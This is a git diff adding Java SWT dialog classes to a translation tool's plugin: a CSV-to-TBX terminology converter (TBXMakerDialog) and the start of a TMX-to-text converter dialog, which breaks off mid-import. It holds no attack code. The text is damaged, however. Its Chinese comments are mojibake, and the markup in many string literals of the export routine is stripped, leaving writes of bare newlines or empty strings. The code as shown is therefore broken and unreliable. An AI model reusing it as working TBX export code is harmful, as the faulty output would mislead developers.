a/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/TBXMakerDialog.java b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/TBXMakerDialog.java new file mode 100644 index 0000000..8160871 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/TBXMakerDialog.java @@ -0,0 +1,940 @@ +package net.heartsome.cat.ts.ui.plugin.dialog; + +import java.io.BufferedReader; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileNotFoundException; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStreamReader; +import java.io.UnsupportedEncodingException; +import java.text.MessageFormat; +import java.util.Date; +import java.util.Enumeration; +import java.util.Hashtable; +import java.util.Vector; + +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.common.util.TextUtil; +import net.heartsome.cat.ts.ui.plugin.Activator; +import net.heartsome.cat.ts.ui.plugin.ColProperties; +import net.heartsome.cat.ts.ui.plugin.PluginConstants; +import net.heartsome.cat.ts.ui.plugin.resource.Messages; +import net.heartsome.cat.ts.ui.plugin.util.PluginUtil; +import net.heartsome.cat.ts.ui.plugin.util.TBXTemplateUtil; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.util.Util; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.program.Program; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Menu; +import org.eclipse.swt.widgets.MenuItem; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; +import org.eclipse.swt.widgets.TableItem; +import org.eclipse.swt.widgets.Text; +import org.eclipse.swt.widgets.ToolBar; +import org.eclipse.swt.widgets.ToolItem; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * TBXMaker 对è¯æ¡† + * @author peason + * @version + * @since JDK1.6 + */ +public class TBXMakerDialog extends Dialog { + + private static final Logger LOGGER = LoggerFactory.getLogger(LoggerFactory.class); + + /** 表格对象,用于展示 CSV 文件的内容 */ + private Table table; + + /** 显示行数的标签 */ + private Label lblRowCount; + + /** 显示列数的标签 */ + private Label lblColCount; + + /** Logo 图片路径 */ + private String imagePath; + + /** CSV 文件路径 */ + private String csvPath; + + /** CSV 文件的列分隔符 */ + private String colSeparator; + + /** CSV 文件的文本定界符 */ + private String textDelimiter; + + /** CSV 文件的字符集 */ + private String encoding; + + /** CSV 文件的主语言 */ + private String lang; + + /** CSV 文件的 XCS æ¨¡æ¿ */ + private String xcsTemplate; + + /** CSV 文件的列数 */ + private int cols; + + /** CSV 文件的行数 */ + private int rows; + + /** 导出 CSV 文件时所用到的æµå¯¹è±¡ */ + private FileOutputStream output; + + /** XCS æ¨¡æ¿ */ + private TBXTemplateUtil template; + + /** + * 构造方法 + * @param parentShell + */ + public TBXMakerDialog(Shell parentShell) { + super(parentShell); + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.TBXMakerDialog.title")); + imagePath = PluginUtil.getAbsolutePath(PluginConstants.LOGO_TBXMAKER_PATH); + newShell.setImage(Activator.getImageDescriptor(PluginConstants.LOGO_TBXMAKER_PATH).createImage()); + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + // tparent.setLayout(new GridLayout()); + GridLayoutFactory.swtDefaults().spacing(0, 0).numColumns(1).applyTo(tparent); + GridDataFactory.fillDefaults().hint(750, 500).align(SWT.FILL, SWT.FILL).grab(true, true).applyTo(tparent); + + createMenu(); + createToolBar(tparent); + + table = new Table(tparent, SWT.BORDER | SWT.H_SCROLL | SWT.V_SCROLL | SWT.FULL_SELECTION); + table.setLinesVisible(true); + table.setHeaderVisible(true); + table.setLayoutData(new GridData(GridData.FILL_BOTH)); + Composite cmpStatus = new Composite(tparent, SWT.BORDER); + cmpStatus.setLayout(new GridLayout(2, true)); + cmpStatus.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + lblRowCount = new Label(cmpStatus, SWT.None); + lblRowCount.setText(MessageFormat.format(Messages.getString("dialog.TBXMakerDialog.lblRowCount"), 0)); + lblRowCount.setLayoutData(new GridData(GridData.FILL_HORIZONTAL | GridData.GRAB_HORIZONTAL)); + lblColCount = new Label(cmpStatus, SWT.None); + lblColCount.setText(MessageFormat.format(Messages.getString("dialog.TBXMakerDialog.lblColCount"), 0)); + lblColCount.setLayoutData(new GridData(GridData.FILL_HORIZONTAL | GridData.GRAB_HORIZONTAL)); + + tparent.layout(); + getShell().layout(); + return tparent; + } + + /** + * 创建èœå• ; + */ + private void createMenu() { + Menu menu = new Menu(getShell(), SWT.BAR); + getShell().setMenuBar(menu); + getShell().pack(); + + Rectangle screenSize = Display.getDefault().getClientArea(); + Rectangle frameSize = getShell().getBounds(); + getShell().setLocation((screenSize.width - frameSize.width) / 2, (screenSize.height - frameSize.height) / 2); + + Menu fileMenu = new Menu(menu); + MenuItem fileItem = new MenuItem(menu, SWT.CASCADE); + fileItem.setText(Messages.getString("dialog.TBXMakerDialog.fileMenu")); + fileItem.setMenu(fileMenu); + + MenuItem openCSVItem = new MenuItem(fileMenu, SWT.PUSH); + openCSVItem.setText(Messages.getString("dialog.TBXMakerDialog.openCSVItem")); + openCSVItem.setImage(Activator.getImageDescriptor(PluginConstants.PIC_OPEN_CSV_PATH).createImage()); + openCSVItem.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + openFile(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + MenuItem exportTBXItem = new MenuItem(fileMenu, SWT.PUSH); + exportTBXItem.setText(Messages.getString("dialog.TBXMakerDialog.exportTBXItem")); + exportTBXItem.setImage(Activator.getImageDescriptor(PluginConstants.PIC_EXPORT_TBX_PATH).createImage()); + exportTBXItem.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + export(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + new MenuItem(fileMenu, SWT.SEPARATOR); + + MenuItem exitItem = new MenuItem(fileMenu, SWT.PUSH); + exitItem.setText(Messages.getString("dialog.TBXMakerDialog.exitItem")); + exitItem.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + close(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + Menu taskMenu = new Menu(menu); + MenuItem taskItem = new MenuItem(menu, SWT.CASCADE); + taskItem.setText(Messages.getString("dialog.TBXMakerDialog.taskMenu")); + taskItem.setMenu(taskMenu); + + MenuItem deleteColItem = new MenuItem(taskMenu, SWT.PUSH); + deleteColItem.setText(Messages.getString("dialog.TBXMakerDialog.deleteColItem")); + deleteColItem.setImage(Activator.getImageDescriptor(PluginConstants.PIC_DELETE_COLUMN_PATH).createImage()); + deleteColItem.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + removeColumn(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + MenuItem colPropertyItem = new MenuItem(taskMenu, SWT.PUSH); + colPropertyItem.setText(Messages.getString("dialog.TBXMakerDialog.colPropertyItem")); + colPropertyItem.setImage(Activator.getImageDescriptor(PluginConstants.PIC_SET_COLUMN_PATH).createImage()); + colPropertyItem.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + setColumnType(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + Menu helpMenu = new Menu(menu); + MenuItem helpItem = new MenuItem(menu, SWT.CASCADE); + helpItem.setText(Messages.getString("dialog.TBXMakerDialog.helpMenu")); + helpItem.setMenu(helpMenu); + + MenuItem helpContentItem = new MenuItem(helpMenu, SWT.PUSH); + helpContentItem.setText(Messages.getString("dialog.TBXMakerDialog.helpContentItem")); + helpContentItem.setImage(Activator.getImageDescriptor(PluginConstants.PIC_HELP_PATH).createImage()); + helpContentItem.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + displayHelp(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + MenuItem aboutItem = new MenuItem(helpMenu, SWT.PUSH); + aboutItem.setText(Messages.getString("dialog.TBXMakerDialog.aboutItem")); + aboutItem.setImage(Activator.getImageDescriptor(PluginConstants.LOGO_TBXMAKER_MENU_PATH).createImage()); + aboutItem.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + AboutDialog dialog = new AboutDialog(getShell(), Messages + .getString("dialog.TBXMakerDialog.aboutItemName"), imagePath, Messages + .getString("dialog.TBXMakerDialog.aboutItemVersion")); + dialog.open(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + } + + /** + * åˆ›å»ºå·¥å…·æ  + * @param parent + * ; + */ + private void createToolBar(Composite parent) { + Composite cmpToolBar = new Composite(parent, SWT.None); + GridLayoutFactory.fillDefaults().spacing(0, 0).numColumns(3).equalWidth(false).applyTo(cmpToolBar); + cmpToolBar.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + ToolBar toolBar = new ToolBar(cmpToolBar, SWT.NO_FOCUS | SWT.FLAT); + + ToolItem openToolItem = new ToolItem(toolBar, SWT.PUSH); + openToolItem.setToolTipText(Messages.getString("dialog.TBXMakerDialog.openToolItem")); + openToolItem.setImage(Activator.getImageDescriptor(PluginConstants.PIC_OPEN_CSV_PATH).createImage()); + openToolItem.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + openFile(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + ToolItem exporToolItem = new ToolItem(toolBar, SWT.PUSH); + exporToolItem.setToolTipText(Messages.getString("dialog.TBXMakerDialog.exporToolItem")); + exporToolItem.setImage(Activator.getImageDescriptor(PluginConstants.PIC_EXPORT_TBX_PATH).createImage()); + exporToolItem.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + export(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + ToolItem deleteColToolItem = new ToolItem(toolBar, SWT.PUSH); + deleteColToolItem.setToolTipText(Messages.getString("dialog.TBXMakerDialog.deleteColToolItem")); + deleteColToolItem.setImage(Activator.getImageDescriptor(PluginConstants.PIC_DELETE_COLUMN_PATH).createImage()); + deleteColToolItem.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + removeColumn(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + ToolItem setColToolItem = new ToolItem(toolBar, SWT.PUSH); + setColToolItem.setToolTipText(Messages.getString("dialog.TBXMakerDialog.setColToolItem")); + setColToolItem.setImage(Activator.getImageDescriptor(PluginConstants.PIC_SET_COLUMN_PATH).createImage()); + setColToolItem.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + setColumnType(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + new Label(cmpToolBar, SWT.None) + .setLayoutData(new GridData(GridData.FILL_HORIZONTAL | GridData.GRAB_HORIZONTAL)); + + ToolBar helpToolBar = new ToolBar(cmpToolBar, SWT.NO_FOCUS | SWT.FLAT); + ToolItem helpToolItem = new ToolItem(helpToolBar, SWT.RIGHT); + helpToolItem.setToolTipText(Messages.getString("dialog.TBXMakerDialog.helpToolItem")); + helpToolItem.setImage(Activator.getImageDescriptor(PluginConstants.PIC_HELP_PATH).createImage()); + helpToolItem.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + displayHelp(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + Composite cmpTemp = parent.getParent(); + parent.dispose(); + cmpTemp.layout(); + } + + private void displayHelp() { + String curLang = CommonFunction.getSystemLanguage(); + StringBuffer sbHelp = new StringBuffer("help"); + if (Util.isWindows()) { + sbHelp.append(File.separator).append("csv2tbxdoc").append(File.separator); + if (curLang.equalsIgnoreCase("zh")) { + sbHelp.append("tbxmaker_zh-cn.chm"); + } else { + sbHelp.append("tbxmaker.chm"); + } + Program.launch(PluginUtil.getConfigurationFilePath(sbHelp.toString())); + } else { + sbHelp.append(File.separator).append("csv2tbxdoc").append(File.separator); + if (curLang.equalsIgnoreCase("zh")) { + sbHelp.append("zh-cn"); + } else { + sbHelp.append("en"); + } + sbHelp.append(File.separator).append("toc.xml"); + PluginHelpDialog dialog = new PluginHelpDialog(getShell(), PluginUtil.getConfigurationFilePath(sbHelp.toString()), + Messages.getString("dialog.TBXMakerDialog.helpDialogTitle")); + dialog.open(); + } + + } + + /** + * 打开 CSV 文件 ; + */ + private void openFile() { + String[] templates = TBXTemplateUtil.getTemplateFiles(PluginUtil.getCataloguePath(), + PluginUtil.getTemplatePath()); + CSVSettingDialog dialog = new CSVSettingDialog(getShell(), true, imagePath, templates); + if (dialog.open() == IDialogConstants.OK_ID) { + csvPath = dialog.getCsvPath(); + colSeparator = dialog.getColSeparator(); + textDelimiter = dialog.getTextDelimiter(); + encoding = dialog.getEncoding(); + lang = dialog.getLang(); + xcsTemplate = dialog.getXcsTemplate(); + try { + template = new TBXTemplateUtil(xcsTemplate, PluginUtil.getTemplatePath(), ""); + cols = maxColumns(); + if (cols < 2) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.TBXMakerDialog.msgTitle"), + Messages.getString("dialog.TBXMakerDialog.msg1")); + return; + } + rows = 0; + int width = (table.getClientArea().width - table.getBorderWidth() * 2 - table.getVerticalBar() + .getSize().x) / cols; + if (width < 100) { + width = 100; + } + table.removeAll(); + int count = table.getColumnCount(); + for (int i = 0; i < count; i++) { + table.getColumn(0).dispose(); + } + + for (int i = 0; i < cols; i++) { + TableColumn col = new TableColumn(table, SWT.NONE); + col.setData(new ColProperties("" + (i + 1))); //$NON-NLS-1$ + table.getColumn(i).setWidth(width); + table.getColumn(i).setText("" + (i + 1)); //$NON-NLS-1$ + } + fillTable(); + table.layout(true); + lblRowCount + .setText(MessageFormat.format(Messages.getString("dialog.TBXMakerDialog.lblRowCount"), rows)); + lblColCount + .setText(MessageFormat.format(Messages.getString("dialog.TBXMakerDialog.lblColCount"), cols)); + } catch (IOException e) { + LOGGER.error(Messages.getString("dialog.TBXMakerDialog.logger1"), e); + } catch (Exception e) { + LOGGER.error(Messages.getString("dialog.TBXMakerDialog.logger1"), e); + } + } + } + + /** + * 导出文件 ; + */ + private void export() { + if (cols < 2) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.TBXMakerDialog.msgTitle"), + Messages.getString("dialog.TBXMakerDialog.msg2")); + return; + } + String[] langs = getUserLangs(); + if (langs.length < 1) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.TBXMakerDialog.msgTitle"), + Messages.getString("dialog.TBXMakerDialog.msg3")); + return; + } + + ExportDialog exportDialog = new ExportDialog(getShell(), csvPath); + if (exportDialog.open() == IDialogConstants.OK_ID) { + String exportFile = exportDialog.getFilePath(); + if (exportFile == null) { + return; + } + try { + File f = new File(exportFile); + if (!f.exists() || f.isDirectory()) { + f.createNewFile(); + } + output = new FileOutputStream(f); + rows = table.getItemCount(); + writeString("\n"); //$NON-NLS-1$ + writeString("\n"); //$NON-NLS-1$ + writeString("\n"); //$NON-NLS-1$ //$NON-NLS-2$ + writeString("

    CSV to TBX Converter

    \n"); //$NON-NLS-1$ + writeString("

    " + template.getTemplateFileName() + "

    \n"); //$NON-NLS-1$ //$NON-NLS-2$ + writeString("
    \n\n\n"); //$NON-NLS-1$ + + for (int r = 0; r < rows; r++) { + TableItem item = table.getItem(r); + if (checkConcept(langs, item)) { + writeString("\n"); //$NON-NLS-1$ //$NON-NLS-2$ + writeConceptLevelProps(item); + for (int l = 0; l < langs.length; l++) { + if (checkTerm(langs[l], item)) { + writeString("\n"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + writeString("\n"); //$NON-NLS-1$ + writeLangLevel(langs[l], item); + writeString("\n"); //$NON-NLS-1$ + writeString("\n"); //$NON-NLS-1$ + } + } + writeString("\n"); //$NON-NLS-1$ + } + } + writeString("\n"); //$NON-NLS-1$ + writeString("\n"); //$NON-NLS-1$ + writeString("
    "); //$NON-NLS-1$ + MessageDialog.openInformation(getShell(), Messages.getString("dialog.TBXMakerDialog.msgTitle"), + Messages.getString("dialog.TBXMakerDialog.msg4")); + } catch (FileNotFoundException e) { + LOGGER.error(Messages.getString("dialog.TBXMakerDialog.logger2"), e); + } catch (IOException e) { + LOGGER.error(Messages.getString("dialog.TBXMakerDialog.logger2"), e); + } finally { + try { + if (output != null) { + output.close(); + } + } catch (IOException e) { + LOGGER.error(Messages.getString("dialog.TBXMakerDialog.logger2"), e); + } + } + + } + } + + /** + * 删除列 ; + */ + private void removeColumn() { + if (cols < 2) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.TBXMakerDialog.msgTitle"), + Messages.getString("dialog.TBXMakerDialog.msg2")); + return; + } + Vector columns = new Vector(); + int count = table.getColumnCount(); + for (int i = 0; i < count; i++) { + columns.add(table.getColumn(i).getText()); + } + ColumnRemoveDialog removeDialog = new ColumnRemoveDialog(getShell(), columns, imagePath); + if (removeDialog.open() == IDialogConstants.OK_ID) { + Vector columnVector = removeDialog.getColumnVector(); + if (columnVector.size() == columns.size()) { + return; + } + for (int i = 0; i < count; i++) { + TableColumn col = table.getColumn(i); + boolean found = false; + for (int j = 0; j < columnVector.size(); j++) { + if (col.getText().equals(columnVector.get(j))) { + found = true; + break; + } + } + if (!found) { + table.getColumn(i).dispose(); + count--; + i--; + } + } + lblColCount.setText(MessageFormat.format( + Messages.getString("dialog.TBXMakerDialog.lblColCount"), table.getColumnCount())); //$NON-NLS-1$ + cols = table.getColumnCount(); + int width = (table.getClientArea().width - table.getBorderWidth() * 2 - table.getVerticalBar().getSize().x) + / cols; + if (width < 100) { + width = 100; + } + + for (int i = 0; i < cols; i++) { + TableColumn column = table.getColumn(i); + column.setWidth(width); + } + } + } + + /** + * 设置列属性 ; + */ + private void setColumnType() { + if (cols < 2) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.TBXMakerDialog.msgTitle"), + Messages.getString("dialog.TBXMakerDialog.msg2")); + return; + } + Vector colTypes = new Vector(cols); + for (int i = 0; i < cols; i++) { + colTypes.add((ColProperties) table.getColumn(i).getData()); + } + + ColumnTypeDialog selector = new ColumnTypeDialog(getShell(), colTypes, template, imagePath); + if (selector.open() == IDialogConstants.OK_ID) { + for (int i = 0; i < cols; i++) { + TableColumn col = table.getColumn(i); + ColProperties type = colTypes.get(i); + if (!type.getColName().equals("") && !type.getLanguage().equals("")) { //$NON-NLS-1$ //$NON-NLS-2$ + col.setText(type.getColName()); + } + } + } + } + + private void writeConceptLevelProps(TableItem item) throws IOException { + // Write concept level descrips + for (int c = 0; c < cols; c++) { + ColProperties properties = (ColProperties) table.getColumn(c).getData(); + if (properties.getLevel().equals(ColProperties.conceptLevel) + && properties.getPropName().equals(ColProperties.descripName)) { + String descrip = item.getText(c); + if (!descrip.trim().equals("")) { //$NON-NLS-1$ + writeString("" + TextUtil.cleanString(descrip).trim() + "\n"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + } + } + } + for (int c = 0; c < cols; c++) { + ColProperties properties = (ColProperties) table.getColumn(c).getData(); + if (properties.getLevel().equals(ColProperties.conceptLevel) + && properties.getPropName().equals(ColProperties.noteName)) { + String note = item.getText(c); + if (!note.trim().equals("")) { //$NON-NLS-1$ + writeString("" + TextUtil.cleanString(note).trim() + "\n"); //$NON-NLS-1$ //$NON-NLS-2$ + } + } + } + } + + private void writeLangLevelProps(String lang, TableItem item) throws IOException { + // Write concept level descrips + for (int c = 0; c < cols; c++) { + ColProperties properties = (ColProperties) table.getColumn(c).getData(); + if (properties.getLevel().equals(ColProperties.langLevel) + && properties.getPropName().equals(ColProperties.termNoteName) + && properties.getLanguage().equals(lang)) { + + String termNote = item.getText(c); + if (!termNote.trim().equals("")) { //$NON-NLS-1$ + writeString("" + TextUtil.cleanString(termNote).trim() + "\n"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + } + } + } + for (int c = 0; c < cols; c++) { + ColProperties properties = (ColProperties) table.getColumn(c).getData(); + if (properties.getLevel().equals(ColProperties.langLevel) + && properties.getPropName().equals(ColProperties.descripName) + && properties.getLanguage().equals(lang)) { + + String termNote = item.getText(c); + if (!termNote.trim().equals("")) { //$NON-NLS-1$ + writeString("" + TextUtil.cleanString(termNote).trim() + "\n"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + } + } + } + + } + + private void writeLangLevel(String lang, TableItem item) throws IOException { + // Write Term data + for (int c = 0; c < cols; c++) { + ColProperties properties = (ColProperties) table.getColumn(c).getData(); + if (properties.getLevel().equals(ColProperties.langLevel) + && properties.getPropName().equals(ColProperties.termName) && properties.getLanguage().equals(lang)) { + + String term = item.getText(c); + writeString("" + TextUtil.cleanString(term).trim() + "\n"); //$NON-NLS-1$ //$NON-NLS-2$ + } + } + writeLangLevelProps(lang, item); + } + + private String createId() { + Date now = new Date(); + long lng = now.getTime(); + // wait until we are in the next millisecond + // before leaving to ensure uniqueness + Date next = new Date(); + while (next.getTime() == lng) { + next = null; + next = new Date(); + } + return "_" + lng; //$NON-NLS-1$ + } + + private boolean checkConcept(String[] langs, TableItem item) { + for (int l = 0; l < langs.length; l++) { + if (checkTerm(langs[l], item)) { + return true; + } + } + return false; + } + + /** + * This method check if the term contains valid text + * @param lang + * @param item + * @return + */ + private boolean checkTerm(String lang, TableItem item) { + // Write Term data + for (int c = 0; c < cols; c++) { + ColProperties properties = (ColProperties) table.getColumn(c).getData(); + if (properties.getLevel().equals(ColProperties.langLevel) + && properties.getPropName().equals(ColProperties.termName) && properties.getLanguage().equals(lang)) { + String term = item.getText(c); + return !term.trim().equals(""); //$NON-NLS-1$ + } + } + return false; + } + + private String[] getUserLangs() { + Hashtable langTable = new Hashtable(); + for (int c = 0; c < cols; c++) { + ColProperties properties = (ColProperties) table.getColumn(c).getData(); + if (properties.level.equals(ColProperties.langLevel)) { + langTable.put(properties.getLanguage(), ""); //$NON-NLS-1$ + } + } + + String[] result = new String[langTable.size()]; + Enumeration keys = langTable.keys(); + int index = 0; + while (keys.hasMoreElements()) { + result[index] = keys.nextElement(); + index++; + } + return result; + } + + private void writeString(String string) throws UnsupportedEncodingException, IOException { + output.write(string.getBytes("UTF-8")); + } + + private int maxColumns() throws IOException { + int max = 0; + InputStreamReader input = new InputStreamReader(new FileInputStream(csvPath), encoding); + BufferedReader buffer = new BufferedReader(input); + Hashtable table1 = new Hashtable(); + String line = buffer.readLine(); + while (line != null) { + int i = countColumns(line); + if (table1.containsKey("" + i)) { + int count = table1.get("" + i).intValue() + 1; + table1.put("" + i, new Integer(count)); + } else { + table1.put("" + i, new Integer(1)); + } + line = buffer.readLine(); + } + Enumeration e = table1.keys(); + String key = ""; + while (e.hasMoreElements()) { + String s = e.nextElement(); + int value = table1.get(s).intValue(); + if (value > max) { + max = value; + key = s; + } + } + return Integer.parseInt(key); + } + + private int countColumns(String line) { + int size = line.length(); + if (size == 0) { + return 0; + } + int count = 1; + boolean inDelimiters = false; + for (int i = 0; i < size; i++) { + String c = "" + line.charAt(i); + if (c.equals(textDelimiter)) { + inDelimiters = !inDelimiters; + } + if (!inDelimiters && c.equals(colSeparator)) { + count++; + } + } + return count; + } + + private void fillTable() throws UnsupportedEncodingException, IOException { + InputStreamReader input = new InputStreamReader(new FileInputStream(csvPath), encoding); + BufferedReader buffer = new BufferedReader(input); + String line; + while ((line = buffer.readLine()) != null) { + createItems(line); + } + } + + private void createItems(String line) { + int size = line.length(); + if (size == 0) { + return; + } + if (countColumns(line) != cols) { + return; + } + StringBuffer buffer = new StringBuffer(); + Vector vector = new Vector(); + String[] strings = new String[cols]; + boolean inDelimiters = false; + for (int i = 0; i < size; i++) { + String c = "" + line.charAt(i); //$NON-NLS-1$ + if (c.equals(textDelimiter)) { + inDelimiters = !inDelimiters; + continue; + } + if (!inDelimiters && c.equals(colSeparator)) { + vector.add(buffer.toString()); + buffer = null; + buffer = new StringBuffer(); + continue; + } + buffer.append(c); + } + if (!buffer.toString().equals("")) { //$NON-NLS-1$ + vector.add(buffer.toString()); + } + for (int i = 0; i < vector.size(); i++) { + strings[i] = vector.get(i); + } + for (int i = vector.size(); i < cols; i++) { + strings[i] = ""; //$NON-NLS-1$ + } + + TableItem item = new TableItem(table, SWT.NONE); + item.setText(strings); + rows++; + } + + @Override + protected boolean isResizable() { + return true; + } + + /** + * 导出为 TBX 文件的对è¯æ¡† + * @author peason + * @version + * @since JDK1.6 + */ + class ExportDialog extends Dialog { + + /** 导出文件路径 */ + private String filePath; + + /** 路径文本框 */ + private Text txtFile; + + /** + * 构造方法 + * @param parentShell + * @param filePath + * 默认导出路径 + */ + protected ExportDialog(Shell parentShell, String filePath) { + super(parentShell); + this.filePath = filePath; + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.TBXMakerDialog.ExportDialog.title")); + newShell.setImage(new Image(Display.getDefault(), imagePath)); + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + tparent.setLayout(new GridLayout(3, false)); + GridDataFactory.fillDefaults().align(SWT.FILL, SWT.FILL).hint(400, 50).grab(true, true).applyTo(tparent); + + new Label(tparent, SWT.None).setText(Messages.getString("dialog.TBXMakerDialog.ExportDialog.lblTBX")); + txtFile = new Text(tparent, SWT.BORDER); + txtFile.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + txtFile.setEditable(false); + if (filePath != null) { + if (filePath.indexOf(".") != -1) { + txtFile.setText(filePath.substring(0, filePath.lastIndexOf(".")) + ".tbx"); + } else { + txtFile.setText(filePath + ".tbx"); + } + filePath = txtFile.getText(); + } + Button btnBrowse = new Button(tparent, SWT.None); + btnBrowse.setText(Messages.getString("dialog.TBXMakerDialog.ExportDialog.btnBrowse")); + btnBrowse.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent arg0) { + FileDialog dialog = new FileDialog(getShell(), SWT.SAVE); + dialog.setText(Messages.getString("dialog.TBXMakerDialog.ExportDialog.dialogTitle")); + String extensions[] = { "*.tbx", "*" }; //$NON-NLS-1$ //$NON-NLS-2$ + String names[] = { + Messages.getString("dialog.TBXMakerDialog.ExportDialog.names1"), Messages.getString("dialog.TBXMakerDialog.ExportDialog.names2") }; //$NON-NLS-1$ //$NON-NLS-2$ + dialog.setFilterNames(names); + dialog.setFilterExtensions(extensions); + String fileSep = System.getProperty("file.separator"); + if (txtFile.getText() != null && !txtFile.getText().trim().equals("")) { + dialog.setFilterPath(txtFile.getText().substring(0, txtFile.getText().lastIndexOf(fileSep))); + dialog.setFileName(txtFile.getText().substring(txtFile.getText().lastIndexOf(fileSep) + 1)); + } else { + dialog.setFilterPath(System.getProperty("user.home")); + } + filePath = dialog.open(); + if (filePath != null) { + txtFile.setText(filePath); + } + } + + public void widgetDefaultSelected(SelectionEvent arg0) { + + } + }); + return tparent; + } + + /** + * 获得导出路径 + * @return ; + */ + public String getFilePath() { + return filePath; + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + super.createButtonsForButtonBar(parent); + getButton(IDialogConstants.OK_ID).setText(Messages.getString("dialog.TBXMakerDialog.ok")); + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/TMX2TXTConverterDialog.java b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/TMX2TXTConverterDialog.java new file mode 100644 index 0000000..1ab2773 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/TMX2TXTConverterDialog.java @@ -0,0 +1,717 @@ +package net.heartsome.cat.ts.ui.plugin.dialog; + +import java.io.File; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.UnsupportedEncodingException; +import java.text.MessageFormat; + +import net.heartsome.cat.ts.ui.plugin.PluginConstants; +import net.heartsome.cat.ts.ui.plugin.resource.Messages; +import net.heartsome.cat.ts.ui.plugin.util.PluginUtil; +import net.heartsome.cat.ts.util.ProgressIndicatorManager; + +import org.eclipse.core.runtime.Assert; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.Status; +import org.eclipse.core.runtime.SubProgressMonitor; +import org.eclipse.core.runtime.jobs.IJobChangeEvent; +import org.eclipse.core.runtime.jobs.Job; +import org.eclipse.core.runtime.jobs.JobChangeAdapter; +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import 